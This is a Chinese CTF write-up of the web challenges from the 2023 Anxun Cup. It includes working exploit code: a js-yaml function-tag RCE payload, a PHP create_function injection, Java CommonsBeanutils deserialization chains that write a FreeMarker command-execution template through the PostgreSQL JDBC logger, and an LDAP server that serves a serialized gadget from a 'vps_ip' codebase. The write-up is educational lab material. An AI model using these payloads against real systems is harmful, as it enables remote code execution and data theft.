安洵杯校园赛2023

2023安洵杯第六届网络安全挑战赛-web

前言

web:2/6 只会做最简单的(wuwuwuw,已经废了) 标记*为做出的

image-20231225135621158

signal

nodeca/js-yaml: JavaScript YAML parser and dumper. Very fast. (github.com)

Code Execution via YAML in JS-YAML Node.js Module » Neal Poole

可能是关键词不对,刚开始搜nodejs yaml漏洞出来的全是nodejs有关的,结束后看下wp,是js-yaml,然后搜js-yaml漏洞,直接就搜到了。。。。。

sb了,复现时看了下package.json,发现是有js-yaml的,当时没注意,也算是技不如人吧

以后nodejs的题先对着package.json的版本搜漏洞,我看看哪个库能逃掉

照着官方wp的顺序走一遍吧

const express = require('express');
const multer = require('multer');
const bodyParser = require('body-parser');
const ini = require('iniparser');
const xml2js = require('xml2js');
const properties = require('properties');
const yaml = require('js-yaml');
const cp = require('child_process')
const path = require('path');
const session = require('express-session');

const app = express();
const port = process.env.PORT || 80;

// 设置存储配置
const storage = multer.memoryStorage();
const upload = multer({ storage: storage });


app.use(express.static(path.join(__dirname, 'public')));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');

app.use(session({
	secret: 'welcome',//
	resave: false,
	saveUninitialized: false,
	cookie: {
		maxAge: 3600000
	}
}))

let output = '';

app.get('/', (req, res) => {
	res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

app.post('/convert', upload.single('configFile'), (req, res) => {
	if (!req.file) {
		return res.status(400).send('No file uploaded.');
	}
	if(req.body.format!="yaml"){
		return res.status(404).send("该功能暂未开始使用.");
	}
	const fileExtension = path.extname(req.file.originalname).toLowerCase();
	const fileBuffer = req.file.buffer.toString('utf8');


	if (fileExtension === '.ini') {
		// 处理 INI 文件
		const parsedData = ini.parseString(fileBuffer);
		output = yaml.dump(parsedData);
	} else if (fileExtension === '.xml') {
		// 处理 XML 文件
		xml2js.parseString(fileBuffer, (err, result) => {
			if (err) {
				return res.status(500).send('Error parsing XML.');
			}
			output = yaml.dump(result);
		});
	} else if (fileExtension === '.properties') {
		// 处理 Properties 文件
		properties.parse(fileBuffer, (err, parsedData) => {
			if (err) {
				console.error('Error parsing properties file:', err);
				return res.status(500).send('Error parsing properties file.');
			}
			output = yaml.dump(parsedData);
		});
	} else if (fileExtension === '.yaml') {
		// 处理 YAML 文件
		try {
			// 尝试解析 YAML 文件
			const yamlData = yaml.load(fileBuffer);
			// 如果成功解析,yamlData 变量将包含 YAML 文件的内容
			output = yaml.dump(yamlData);
		} catch (e) {
			return res.status(400).send('Invalid YAML format: ' + e.message);
		}
	}

	if (output) {
		let name = 'ctfer';
		const yamlData = yaml.load(output);
		if (yamlData && yamlData.name) {
			 name = yamlData.name;
		}
		req.session.outputData=name;
		req.session.outputData=output;
		res.render('preview', { name: name,output: output }); // 渲染 preview.ejs 模板
	} else {
		res.status(400).send('Unsupported format.')
	}
});
app.get('/download', (req, res) => {
	if (output) {
		const outputData = req.session.outputData;

		// 设置响应头,指定文件的内容类型为YAML
		res.setHeader('Content-Type', 'application/x-yaml');
		// 设置响应头,指定文件名
		res.setHeader('Content-Disposition', 'attachment; filename="output.yaml"');

		// 将转换后的文件内容发送给客户端
		res.send(outputData);
	} else {
		res.status(404).send('File not found.');
	}
});
app.get('/flag',(req, res) => {
	if(req.session.name=='admin'){
		cp.execFile('/readflag', (err, stdout, stderr) => {
			if (err) {
				console.error('Error:', err);
				return res.status(404).send('File not found.');
			}
			res.send(stdout);
		})
	} else {
		res.status(403).send('Permission denied.');
	}
})

app.listen(port, () => {
	console.log(`App is running on port ${port}`)
})

js-yaml的版本是3.14.1,在github上找到文档,

image-20231225143227242

发现三个标签

js-yaml extra types:

  • !!js/regexp /pattern/gim
  • !!js/undefined ‘’
  • !!js/function ‘function () {…}’

查看版本升级时的变动,说是危险的标签,说明可以利用

image-20231225144028049

又因为

image-20231225144401766

若使用数组或对象作为键,会调用他的toString()方法,

官方payload:

上传文件后缀为yaml,内容为

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}

经历load->dump->load,最后渲染到ejs的name回显出来

赛后搜索到的文章,直接就是payload了

image-20231225153202302

what’s my name*

<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name']
if(preg_match('/^(?:.{5})*include/',$d0g3)){
    $sorter='strnatcasecmp';
    $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
    var_dump($miao);
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
        $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
        @$miao=create_function('$a, $b', $sort_function);
    }
    else{
        echo('Is That My Name?');
    }
}
else{
    echo("YOU Do Not Know What is My Name!");
}

preg_match('/^(?:.{5})*include/',$d0g3)

5的倍数个字符拼接include

$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');

本地打印出$miao的值,是匿名函数的名称,\x00lambda_%d,并且每刷新一次页面,%d就加1

然后就是create_function漏洞,上网搜就可以

payload: "]);}phpinfo();/*

知道这些就可以做题了

根据这个payload要满足第一个if条件,给他加字符

"]);}phpinfo();/*123include (include前面为20个字符,满足条件)

这个长度为27,substr($miao, -2)也要为27,就不断刷新到27即可

$name===$miao ,那就是匿名函数的名字,直接让他等于满足条件的情况即可 ,即\x00lambda_27

最终payload

?d0g3="]);}phpinfo();/*123include&name=%00lambda_27

刷新27次即可,反正一直刷新就对了

ez_unserialize*

确实挺简单的,因为非预期了

<?php
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public $SplFileObject = "/FfffLlllLaAaaggGgGg";

    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}
$a = new You();
$b = new Luck("eS");
$b->l1 = new Flag();
$a->y1 = new Luck("eS");

$a->y1->lll3 = new Good($b);


echo urlencode(serialize($a));

原生类遍历和读取文件,不想说了

给出官方wp中有趣的地方

image-20231225160010951

image-20231225160032682

ez_java

看的最久的一道题,思路都对了,但是不会补链子,唉。。。。

因为前不久才看过羊城杯的那道freemarker,所以看到文件有index.ftl时,我就知道要用freemarker模板注入了

image-20231225160716321

image-20231225160502576

image-20231225160531450

依赖挺少的,很容易有思路

不出网

#!/bin/sh
echo $D0g3CTF > /flag
chmod 444 /flag
unset D0g3CTF
iptables -P INPUT ACCEPT
iptables -F
iptables -X
iptables -Z
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A OUTPUT -m state --state NEW -j DROP
iptables -P OUTPUT DROP
iptables -n -L
java -jar /app/ezjava.jar

所以使用freemarker模板注入

postgresql任意文件写入覆盖index.ftl的内容,进行freemarker模板注入

并且/read路由是要readObject,

postgresql的利用要配合cb链

image-20231225161651950

但是DriverManager没有继承序列化接口,

getter

CB链来调用getter方法来触发postgresql JDBC攻击,对应的getter方法为BaseDataSource#getConnection(给了提示)

image-20231226231442673

但是关键的java.util.PriorityQueue被禁了,那就要找替代类

/**
 * exec:347, Runtime (java.lang)
 * <init>:-1, a
 * newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
 * newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
 * newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
 * newInstance:422, Constructor (java.lang.reflect)
 * newInstance:442, Class (java.lang)
 * getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
 * newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
 * getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
 * invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 * invoke:62, NativeMethodAccessorImpl (sun.reflect)
 * invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 * invoke:497, Method (java.lang.reflect)
 * invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils)
 * getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils)
 * getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils)
 * getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils)
 * getProperty:464, PropertyUtils (org.apache.commons.beanutils)
 * compare:163, BeanComparator (org.apache.commons.beanutils)
 * siftDownUsingComparator:721, PriorityQueue (java.util)
 * siftDown:687, PriorityQueue (java.util)
 * heapify:736, PriorityQueue (java.util)
 * readObject:795, PriorityQueue (java.util)
 * invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 * invoke:62, NativeMethodAccessorImpl (sun.reflect)
 * invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 * invoke:497, Method (java.lang.reflect)
 * invokeReadObject:1058, ObjectStreamClass (java.io)
 * readSerialData:1900, ObjectInputStream (java.io)
 * readOrdinaryObject:1801, ObjectInputStream (java.io)
 * readObject0:1351, ObjectInputStream (java.io)
 * readObject:371, ObjectInputStream (java.io)
 * base64deserial:66, SerializeUtils (com.javasec.utils)
 * deserTester:312, SerializeUtils (com.javasec.utils)
 * main:22, cb1 (com.javasec.pocs.cb)
 */

BeanComparator调用的是compare方法,要找类进行替代

TreeMap/TreeBag –强大的Boogipop大佬

TreeBag的readObject

image-20231225172848202

image-20231225173022808

TreeMap的put

image-20231225173116722

image-20231225173148534

使comparatorBeanComparator即可

getter

找到的是pgConnectionPoolDataSource,他是抽象类BaseDataSource的实现类,而BaseDataSource存在getConnection

是继承BaseDataSource的都行

poc

public static void main(String[] args) throws Exception {
    PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource();
    String loggerLevel = "debug";
    String loggerFile = "/app/templates/index.ftl";
    String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}";
    System.out.println(shellContent);
    String jdbcUrl = "jdbc:postgresql://"+"123"+"/aaaa?ApplicationName="+"123123123"+"&loggerFile="+loggerFile+"&loggerLevel="+loggerLevel;
    pgConnectionPoolDataSource.setURL(jdbcUrl);
    pgConnectionPoolDataSource.setServerNames(new String[]{shellContent});


    BeanComparator comparator = new BeanComparator();
    setFieldValue(comparator, "property", "connection");


    TreeBag treeBag = new TreeBag(comparator);
    TreeMap<Object,Object> m = new TreeMap<>();
    setFieldValue(m, "size", 2);
    setFieldValue(m, "modCount", 2);
    Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
    Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
    nodeCons.setAccessible(true);
    Object MutableInteger = createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
    Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null);
    Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
    setFieldValue(node, "right", right);
    setFieldValue(m, "root", node);
    setFieldValue(m, "comparator", comparator);
    setFieldValue(treeBag,"map",m);
    System.out.println(base64serial(treeBag));
    deserTester(treeBag);
}
public static String base64serial(Object o) throws Exception {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(o);
    oos.close();

    String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
    return base64String;

}
public static void base64deserial(String data) throws Exception {
    byte[] base64decodedBytes = Base64.getDecoder().decode(data);
    ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
    ObjectInputStream ois = new ObjectInputStream(bais);
    ois.readObject();
    ois.close();
}
public static void deserTester(Object o) throws Exception {
    base64deserial(base64serial(o));
}
public static Object createWithoutConstructor(String classname) throws Exception {
    return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
    return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
    Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
    objCons.setAccessible(true);
    Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
    sc.setAccessible(true);
    return (T) sc.newInstance(consArgs);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
    Field field = null;
    try {
        field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
    } catch (NoSuchFieldException ex) {
        if (clazz.getSuperclass() != null)
            field = getField(clazz.getSuperclass(), fieldName);
    }
    return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
    final Field field = getField(obj.getClass(), fieldName);
    field.setAccessible(true);
    if(field != null) {
        field.set(obj, value);
    }
}

分析流程 (以TemplatesImpl的getter讲解)

先看看代替PriorityQueue的这部分

TreeBag treeBag = new TreeBag(comparator);
TreeMap<Object,Object> m = new TreeMap<>();
setFieldValue(m, "size", 2);
setFieldValue(m, "modCount", 2);
Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object MutableInteger = createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null);
Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
setFieldValue(node, "right", right);
setFieldValue(m, "root", node);
setFieldValue(m, "comparator", comparator);
setFieldValue(treeBag,"map",m);

TreeBag调用父类doReadObject

image-20231226104947897

设置map为TreeMap,调用TreeMap的put方法

image-20231226105035662

image-20231226105133981

comparatorBeanComparator即可

image-20231226105150232

以上大概就是执行流程,下面看看该如何写出poc

注意参数k1,k2要控制为TemplatesImpl类,往上可以追溯到

即obj应为TemplatesImpl

并且前面也有个readObject

image-20231226113132550

所以看看writeObject干了什么

image-20231226113437650

image-20231226113555944

获取到的是TreeMap的comparator,因为后面要调用comparator.compare,所以comparator为BeanComparator,接着看

image-20231226114031067

跟进iterator()

image-20231226163620650

继续跟进getFirstEntry()

image-20231226163843117

要保证doWriteObject能够正常遍历,要使root的值为java.util.TreeMap$Entry的实例

不然无法遍历就无法writeObject,在doReadObejct时的readObject就会出现异常

并且前面doReadObject说了obj=in.readObject应为TemplatesImpl类,所以rootkey应为我们构造的恶意TemplatesImpl

rootvalue因为要转化为MutableInteger类,所以我们传入value时直接传入MutableInteger类的实例即可 (转化不报错都行)

对应poc中的

Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");

Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object MutableInteger = createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");

Object node = nodeCons.newInstance(obj,MutableInteger, null);  //obj为恶意的TemplatesImpl

setFieldValue(m, "root", node);

应该就差不多了

在调试过程中发现原来反射是只有在序列化时的赋值,对于反序列化过程,只有被writeObject等写入数据流的才能在反序列化中读取到数据

在这里,TreeMap和TreeBag能利用,实际上是相当于说他们的环境实际上已经配好了,我们就写入一些数据让他满足条件即可

比如

image-20231226170004784

这个map是TreeMap是因为

image-20231226170040751

而与我们的操作无关,我们控制的是readObject能获取的值

算了,不说了,说多了误导人

DualTreeBidiMap

getter

BaseDataSource是抽象类,找到它的子类:PGSimpleDataSource

其实都一样,找个BaseDataSource的实现类就行

poc

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.bidimap.AbstractDualBidiMap;
import org.apache.commons.collections.bidimap.DualTreeBidiMap;
import org.postgresql.ds.PGSimpleDataSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class getPayloads {
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception{
        String loggerLevel = "debug";
        String loggerFile = "templates/index.ftl";
        String shellContent = "<#assign ac=springMacroRequestContext.webApplicationContext>\n" +
                "  <#assign fc=ac.getBean('freeMarkerConfiguration')>\n" +
                "    <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n" +
                "      <#assign VOID=fc.setNewBuiltinClassResolver(dcr)><#assign value=\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.io.FileReader\",\"/flag\")>${\"freemarker.template.utility.ObjectConstructor\"?new()(\"java.util.Scanner\",value).useDelimiter(\"\\\\Aasd\").next()}";
        String command = "jdbc:postgresql://127.0.0.1:5432/test?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+ "&"+shellContent;

        PGSimpleDataSource dataSource = new PGSimpleDataSource();
        dataSource.setUrl(command);

        BeanComparator beanComparator = new BeanComparator("connection", String.CASE_INSENSITIVE_ORDER);
        DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap();
        HashMap<Object, Object> map = new HashMap<>();
        map.put(dataSource, dataSource);

        setValue(dualTreeBidiMap, "comparator", beanComparator);

        Field field = AbstractDualBidiMap.class.getDeclaredField("maps");
        field.setAccessible(true);
        Map[] maps = (Map[]) field.get(dualTreeBidiMap);
        maps[0] = map;

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(dualTreeBidiMap);
        objectOutputStream.close();
        byte[] byteArray = barr.toByteArray();
        // base64 poc
        System.out.println(Base64.getEncoder().encodeToString(byteArray));
    }
}

分析流程 (以TemplatesImpl的getter讲解)

大体过程

image-20231226192143635

image-20231226192210514

image-20231226192244047

image-20231227120721067

image-20231227120751819

image-20231226192346781

接下来看看如何写出poc

从put方法看,要使key为恶意TemplatesImpl

接着看putall方法

image-20231226192846004

和前面的分析差不多,这里传入的是HashMap,经过iterator后是HashMap$Node

前一个方法是java.util.TreeMap$Entry,都继承了Map.Entry

image-20231226192951705

就正常给HashMap的实例put进恶意TemplatesImpl即可

    HashMap<Object, Object> map = new HashMap<>();
    map.put(dataSource, dataSource);

然后

image-20231226193514249

很明显,我们反射控制maps[0]HashMap的实例即可控制map为HashMap

有意思的是

image-20231226193719022

image-20231226193741884

看这两处地方,等于说是环境已经配好,我们控制反序列化数据即可

和前一个分析差不多

其实理论上讲HashMap应该可以使用上面TreeMap$Entry的方式进行替代,我懒得想了,你可以试试

HashMap+TreeMap

不用那个TreeBag也可以,用原生JDK自带的。

不止TreeMapput会调用compare,其get也会调用compare

那哪里会调用Map#get呢,答案是AbstractMap.equals(刚好TreeMap没有重写equals方法)

HashMap#readObject会调用putValputVal当遇到哈希碰撞时就会调用equals

TreeMap treeMap1 = makeTree(obj, comparator);
TreeMap treeMap2 = makeTree(obj, comparator);
HashMap hashMap = makeMap(treeMap1, treeMap2);

public static TreeMap<Object, Object> makeTree(Object o, Comparator comparator) throws Exception {
    TreeMap<Object, Object> map = new TreeMap<>();
    setFieldValue(map, "size", 1);
    Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");
    Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);
    nodeCons.setAccessible(true);

    Object node = nodeCons.newInstance(o, 1, null);
    setFieldValue(map, "root", node);
    setFieldValue(map, "comparator", comparator);

    return map;
}

public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
    HashMap<Object, Object> s = new HashMap<>();
    setFieldValue(s, "size", 2);
    Class<?> nodeC;
    try {
        nodeC = Class.forName("java.util.HashMap$Node");
    } catch (ClassNotFoundException e) {
        nodeC = Class.forName("java.util.HashMap$Entry");
    }
    Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
    nodeCons.setAccessible(true);

    Object tbl = Array.newInstance(nodeC, 2);
    Array.set(tbl, 0, nodeCons.newInstance(0, v1, "b", null));
    Array.set(tbl, 1, nodeCons.newInstance(0, v2, "c", null));
    setFieldValue(s, "table", tbl);
    return s;
}

细节

模板注入的payload放入BaseDataSource 的url的话会被urlencode,所以放入ServerNames

操作

image-20231226230750413

exp拿去url编码

image-20231226230829491

然后访问/目录

image-20231226230923364

先列目录,最好查看源代码,先找到结果生成的位置,位于两红框中间

image-20231226230717560

ai_java

亲爱的朋友,

如果你正在阅读这封信,那意味着我已经离开了这个世界,而你是唯一一个我能相信的人。我希望你能理解我为什么选择以这种方式与你联系。

在我最近的研究中,我发现了一些关于人工智能存在的漏洞,这些漏洞可能导致AI系统在某些情况下出现异常行为甚至失控。这些发现对AI行业和整个社会都有巨大的影响。然而,我发现了一些令人不安的迹象,似乎有人对我的研究产生了浓厚的兴趣,并试图阻止我揭示这些漏洞。

我收到了匿名威胁,警告我停止研究并销毁所有相关的数据和成果。但我不能就此罢手,因为这个发现对人类的未来至关重要。我已经采取了一些措施来保护我的研究成果,但我知道这可能不够。

如果我在某个时候离奇死亡,请你继续我的事业。我相信你的技术能力和正直的品质,你是唯一一个我能信任的人。我已经将我的研究备忘录和重要的数据存放在加密文件中,并将其隐藏在一个安全的位置。这个位置只有你知道,密钥我放在公司服务器了,帐号是TvT/TvT,相关线索我都放在js代码中了。我相信以你的能力可以轻易的获取他。我希望你能找到它,将文件解密。并将它带到公众的视野中。

请小心行事,并确保你的安全。这是一项危险的任务,但我们不能让那些企图掩盖真相的人得逞。我相信你能理解这个事业的重要性,并为之奋斗到底。

感谢你一直以来的支持和友谊。请记住,无论发生什么,我们都必须追求真相和正义。

祝你好运。

真诚的,
Jonathan

都是废话,关键就一句

帐号是TvT/TvT,相关线索我都放在js代码中了

image-20231226194748123

有一段jsfuck,控制台运行,弹出个c,不理解

然后看到有一个函数叫c,控制台执行c函数,出现了github的链接,忘截图了

他commit了四次,在第二次增加文件的地方打开能下载jar包 (就做到这里了,没时间看了)

官方wp

image-20231226195221950

git切换版本下载文件

image-20231230034702368

未授权绕过

CVE-2022-22978

.不会匹配\r\n换行符

分析

fastjson版本为1.2.46

高版本jdk,ldap打不了,

存在

<dependency>
	<groupId>com.unboundid</groupId>
	<artifactId>unboundid-ldapsdk</artifactId>
	<version>3.1.1</version>
	<scope>test</scope>
</dependency>

能够利用LDAP反序列化来绕过高版本jdk对ldap的限制

原理就是在 LDAP 服务器返回查询结果的时候设置了 javaSerializedData 这个 attribute, 然后客户端就会调用 deserializeObject 进行反序列化

缺点在于需要知道目标机的本地 classpath 中是否存在相应的 gadget

这里依赖中有个低版本的shrio,存在不用靠其他依赖的CB链

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.2.4</version>
</dependency>

操作

public static void main(String[] args) throws Exception {
    byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\86136\\Desktop\\cc1\\target\\classes\\exp.class"));


    TemplatesImpl obj = new TemplatesImpl();

    setFieldValue(obj, "_bytecodes", new byte[][]{code});
    setFieldValue(obj, "_name", "zeropeach");
    setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());


    BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
    Queue queue = new PriorityQueue(2, comparator);
    queue.add("1");
    queue.add("1");
    setFieldValue(comparator, "property", "outputProperties");



    setFieldValue(queue, "queue", new Object[]{obj, obj});

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);

    oos.writeObject(queue);
    oos.close();
    String a = Base64.getEncoder().encodeToString(barr.toByteArray());
    System.out.println(a);



}

使用下面这个在vps进行ldap监听

package basic;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer{
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {

        String url = "http://vps_ip:port/#Evil";
        
        //监听ldap请求的端口
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult (InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
//             Payload1: 利用 LDAP + Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());
//             Payload2: 返回序列化 Gadget
            try {
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LPjgGC/k7xfgIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgAqamF2YS5sYW5nLlN0cmluZyRDYXNlSW5zZW5zaXRpdmVDb21wYXJhdG9ydwNcfVxQ5c4CAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdXIAAltCrPMX+AYIVOACAAB4cAAABSPK/rq+AAAANAAsCgAGAB4KAB8AIAgAIQoAHwAiBwAjBwAkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMZXhwOwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W